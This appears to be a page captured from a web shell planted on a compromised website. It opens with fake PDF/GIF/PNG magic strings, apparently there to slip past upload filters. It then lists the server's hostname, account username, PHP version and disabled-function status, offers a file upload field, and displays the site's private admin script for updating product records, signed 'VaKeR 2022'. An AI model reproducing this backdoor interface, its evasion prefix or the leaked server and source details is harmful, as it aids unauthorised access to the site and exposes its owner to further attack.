.

%PDF- %GIF98; %PNG; . Cyber Programmer

Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory : /home1/ndkhermy/www/website_6ca89795/admin/

Upload File :

Current File : /home1/ndkhermy/www/website_6ca89795/admin/productupdatedata.php

<?php

error_reporting(E_ALL);
ini_set('display_errors', 1);

include('../dbcon.php');

if ($_SERVER['REQUEST_METHOD'] != 'POST') {
    exit('Invalid Request');
}

$sid = (int)($_POST['sid'] ?? 0);

if ($sid <= 0) {
    exit('Invalid Product ID');
}

/* CHECK PRODUCT */

$check = mysqli_query($conn, "SELECT * FROM areawecover WHERE id='$sid'");

if (!$check || mysqli_num_rows($check) == 0) {
    exit('Product Not Found');
}

$old = mysqli_fetch_assoc($check);

/* FORM DATA */

$category_id = (int)($_POST['category_id'] ?? 0);

$title       = mysqli_real_escape_string($conn, trim($_POST['title'] ?? ''));
$page_title  = mysqli_real_escape_string($conn, trim($_POST['page_title'] ?? ''));
$description = mysqli_real_escape_string($conn, trim($_POST['description'] ?? ''));
$keywords    = mysqli_real_escape_string($conn, trim($_POST['keywords'] ?? ''));
$robots      = mysqli_real_escape_string($conn, trim($_POST['robots'] ?? ''));
$canonical   = mysqli_real_escape_string($conn, trim($_POST['canonical'] ?? ''));
$content     = mysqli_real_escape_string($conn, $_POST['content'] ?? '');

$price        = floatval($_POST['price'] ?? 0);
$actual_price = floatval($_POST['actual_price'] ?? 0);
$stock        = intval($_POST['stock'] ?? 0);

$weight = mysqli_real_escape_string(
    $conn,
    trim($_POST['weight'] ?? '')
);

$is_featured = isset($_POST['is_featured']) ? 1 : 0;
$status      = isset($_POST['status']) ? 1 : 0;

/* SLUG */

$titleslug = strtolower($title);
$titleslug = preg_replace('/[^a-z0-9]+/i', '-', $titleslug);
$titleslug = trim($titleslug, '-');

/* IMAGE */

$upload_dir = "dataimg/";

if (!is_dir($upload_dir)) {
    mkdir($upload_dir, 0777, true);
}

$image_sql = '';

if (
    isset($_FILES['image']) &&
    $_FILES['image']['error'] == 0 &&
    !empty($_FILES['image']['name'])
) {

    $ext = strtolower(
        pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION)
    );

    $allowed = ['jpg','jpeg','png','gif','webp'];

    if (!in_array($ext, $allowed)) {
        exit('Only JPG, JPEG, PNG, GIF and WEBP allowed');
    }

    $new_image = time() . '_' . preg_replace(
        '/[^a-zA-Z0-9._-]/',
        '',
        $_FILES['image']['name']
    );

    if (
        move_uploaded_file(
            $_FILES['image']['tmp_name'],
            $upload_dir . $new_image
        )
    ) {

        if (
            !empty($old['image']) &&
            file_exists($upload_dir . $old['image'])
        ) {
            unlink($upload_dir . $old['image']);
        }

        $image_sql = ", image='$new_image'";
    }
}

/* UPDATE */

$sql = "
UPDATE areawecover SET

category_id = '$category_id',
title = '$title',
page_title = '$page_title',
description = '$description',
keywords = '$keywords',
robots = '$robots',
canonical = '$canonical',
titleslug = '$titleslug',
content = '$content',
price = '$price',
actual_price = '$actual_price',
stock = '$stock',
weight = '$weight',
is_featured = '$is_featured',
status = '$status'
$image_sql

WHERE id = '$sid'
";

$run = mysqli_query($conn, $sql);

if (!$run) {
    exit('MySQL Error : ' . mysqli_error($conn));
}

echo "success";

VaKeR 2022